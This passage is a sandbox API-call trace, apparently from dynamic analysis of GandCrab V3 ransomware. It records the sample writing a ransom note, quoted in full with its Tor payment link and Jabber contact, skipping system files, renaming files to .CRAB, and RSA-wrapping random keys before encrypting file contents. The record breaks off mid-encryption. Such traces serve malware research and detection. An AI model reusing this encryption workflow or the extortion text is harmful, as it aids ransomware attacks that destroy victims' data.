	[0136.140] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\My Documents\\\\CRAB-DECRYPT.txt") returned 47
	[0136.140] CreateFileW (lpFileName="C:\\Users\\Default\\My Documents\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\my documents\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0136.140] GetLastError () returned 0x50
	[0136.140] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.141] lstrlenW (lpString="C:\\Users\\Default\\My Documents\\") returned 30
	[0136.141] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\My Documents\\*") returned="C:\\Users\\Default\\My Documents\\*"
	[0136.141] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0136.141] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.141] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1
	[0136.141] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1
	[0136.141] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood"
	[0136.141] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\"
	[0136.141] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.141] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.141] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.141] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.142] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.142] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.142] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.142] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.142] lstrcmpiW (lpString1="C:\\Users\\Default\\NetHood\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.142] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.142] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.142] lstrcmpiW (lpString1="C:\\Users\\Default\\NetHood\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.142] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.143] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\NetHood\\\\CRAB-DECRYPT.txt") returned 42
	[0136.143] CreateFileW (lpFileName="C:\\Users\\Default\\NetHood\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\nethood\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.145] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.145] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.146] CloseHandle (hObject=0x3d4) returned 1
	[0136.146] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.146] lstrlenW (lpString="C:\\Users\\Default\\NetHood\\") returned 25
	[0136.147] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\NetHood\\*") returned="C:\\Users\\Default\\NetHood\\*"
	[0136.147] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0136.147] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.147] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1
	[0136.147] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1
	[0136.147] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="NTUSER.DAT" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT") returned="C:\\Users\\Default\\NTUSER.DAT"
	[0136.147] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.147] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\NTUSER.DAT") returned 27
	[0136.147] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT") returned 27
	[0136.147] lstrlenW (lpString=".DAT") returned 4
	[0136.147] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.148] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".DAT ") returned 5
	[0136.148] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.148] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT") returned 27
	[0136.148] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT") returned 27
	[0136.148] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="desktop.ini") returned 1
	[0136.148] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="autorun.inf") returned 1
	[0136.148] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="ntuser.dat") returned 0
	[0136.148] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.148] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.148] lstrcmpW (lpString1="NTUSER.DAT.LOG1", lpString2=".") returned 1
	[0136.148] lstrcmpW (lpString1="NTUSER.DAT.LOG1", lpString2="..") returned 1
	[0136.148] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="NTUSER.DAT.LOG1" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG1") returned="C:\\Users\\Default\\NTUSER.DAT.LOG1"
	[0136.149] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.149] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\NTUSER.DAT.LOG1") returned 32
	[0136.149] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT.LOG1") returned 32
	[0136.149] lstrlenW (lpString=".LOG1") returned 5
	[0136.149] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.149] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".LOG1 ") returned 6
	[0136.149] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.150] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT.LOG1") returned 32
	[0136.150] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT.LOG1") returned 32
	[0136.150] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="desktop.ini") returned 1
	[0136.150] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="autorun.inf") returned 1
	[0136.150] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="ntuser.dat") returned 1
	[0136.150] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="iconcache.db") returned 1
	[0136.150] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="bootsect.bak") returned 1
	[0136.150] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="boot.ini") returned 1
	[0136.150] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="ntuser.dat.log") returned 1
	[0136.150] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="thumbs.db") returned -1
	[0136.150] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="CRAB-DECRYPT.txt") returned 1
	[0136.150] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.150] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\Default\\NTUSER.DAT.LOG1.CRAB") returned 37
	[0136.150] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1")) returned 0x26
	[0136.151] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1", dwFileAttributes=0x26) returned 1
	[0136.151] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1.CRAB" (normalized: "c:\\users\\default\\ntuser.dat.log1.crab")) returned 1
	[0136.152] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0136.152] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\Default\\NTUSER.DAT.LOG1.CRAB" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG1.CRAB") returned="C:\\Users\\Default\\NTUSER.DAT.LOG1.CRAB"
	[0136.153] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG1.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG1.CRAB.CRAB") returned="C:\\Users\\Default\\NTUSER.DAT.LOG1.CRAB.CRAB"
	[0136.153] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6ed98) returned 1
	[0136.154] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0136.154] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0136.154] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0136.155] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314debc | out: pbBuffer=0x314debc) returned 1
	[0136.155] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0136.155] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.155] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6e9e0) returned 1
	[0136.156] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0136.156] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0136.157] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0136.157] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314de98 | out: pbBuffer=0x314de98) returned 1
	[0136.157] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0136.157] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.157] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0136.157] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0136.158] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6eb78) returned 1
	[0136.159] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0x3247ef0) returned 1
	[0136.159] CryptGetKeyParam (in: hKey=0x3247ef0, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0136.159] CryptEncrypt (in: hKey=0x3247ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314decc*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314decc*=0x100) returned 1
	[0136.159] GetLastError () returned 0x0
	[0136.159] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0136.159] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e5a0) returned 1
	[0136.161] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0x3247eb0) returned 1
	[0136.161] CryptGetKeyParam (in: hKey=0x3247eb0, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0136.161] CryptEncrypt (in: hKey=0x3247eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314ded0*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314ded0*=0x100) returned 1
	[0136.161] GetLastError () returned 0x0
	[0136.161] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0136.161] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1.CRAB" (normalized: "c:\\users\\default\\ntuser.dat.log1.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.162] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0136.162] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0136.162] ReadFile (in: hFile=0x3d4, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314df14*=0x6000, lpOverlapped=0x0) returned 1
	[0136.278] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0136.279] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0136.280] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.280] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xffffa000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.280] WriteFile (in: hFile=0x3d4, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314df04*=0x6000, lpOverlapped=0x0) returned 1
	[0136.281] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.281] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.285] WriteFile (in: hFile=0x3d4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0136.285] WriteFile (in: hFile=0x3d4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0136.285] WriteFile (in: hFile=0x3d4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314df04*=0x8, lpOverlapped=0x0) returned 1
	[0136.285] CloseHandle (hObject=0x3d4) returned 1
	[0136.285] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.286] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.286] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.286] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.286] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.287] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.287] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.287] lstrcmpW (lpString1="NTUSER.DAT.LOG2", lpString2=".") returned 1
	[0136.287] lstrcmpW (lpString1="NTUSER.DAT.LOG2", lpString2="..") returned 1
	[0136.287] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="NTUSER.DAT.LOG2" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG2") returned="C:\\Users\\Default\\NTUSER.DAT.LOG2"
	[0136.287] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.287] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\NTUSER.DAT.LOG2") returned 32
	[0136.287] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT.LOG2") returned 32
	[0136.287] lstrlenW (lpString=".LOG2") returned 5
	[0136.287] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.288] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".LOG2 ") returned 6
	[0136.288] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.288] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT.LOG2") returned 32
	[0136.288] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT.LOG2") returned 32
	[0136.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="desktop.ini") returned 1
	[0136.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="autorun.inf") returned 1
	[0136.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="ntuser.dat") returned 1
	[0136.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="iconcache.db") returned 1
	[0136.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="bootsect.bak") returned 1
	[0136.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="boot.ini") returned 1
	[0136.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="ntuser.dat.log") returned 1
	[0136.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="thumbs.db") returned -1
	[0136.288] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="CRAB-DECRYPT.txt") returned 1
	[0136.288] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.289] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\Default\\NTUSER.DAT.LOG2.CRAB") returned 37
	[0136.289] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2")) returned 0x26
	[0136.289] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2", dwFileAttributes=0x26) returned 1
	[0136.290] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2.CRAB" (normalized: "c:\\users\\default\\ntuser.dat.log2.crab")) returned 1
	[0136.291] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0136.291] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\Default\\NTUSER.DAT.LOG2.CRAB" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG2.CRAB") returned="C:\\Users\\Default\\NTUSER.DAT.LOG2.CRAB"
	[0136.291] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG2.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG2.CRAB.CRAB") returned="C:\\Users\\Default\\NTUSER.DAT.LOG2.CRAB.CRAB"
	[0136.291] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6e9e0) returned 1
	[0136.292] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0136.293] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0136.293] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0136.293] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314debc | out: pbBuffer=0x314debc) returned 1
	[0136.293] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0136.293] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.293] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6ed98) returned 1
	[0136.295] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0136.295] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0136.295] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0136.295] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314de98 | out: pbBuffer=0x314de98) returned 1
	[0136.295] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0136.295] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.296] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0136.296] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0136.296] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e9e0) returned 1
	[0136.297] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0x3247fb0) returned 1
	[0136.297] CryptGetKeyParam (in: hKey=0x3247fb0, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0136.297] CryptEncrypt (in: hKey=0x3247fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314decc*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314decc*=0x100) returned 1
	[0136.298] GetLastError () returned 0x0
	[0136.298] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0136.298] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e9e0) returned 1
	[0136.299] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0x3247db0) returned 1
	[0136.299] CryptGetKeyParam (in: hKey=0x3247db0, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0136.299] CryptEncrypt (in: hKey=0x3247db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314ded0*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314ded0*=0x100) returned 1
	[0136.300] GetLastError () returned 0x0
	[0136.300] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0136.300] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2.CRAB" (normalized: "c:\\users\\default\\ntuser.dat.log2.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.300] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0136.300] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0136.301] ReadFile (in: hFile=0x3d4, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314df14*=0x7e000, lpOverlapped=0x0) returned 1
	[0136.649] VirtualAlloc (lpAddress=0x0, dwSize=0x7e000, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
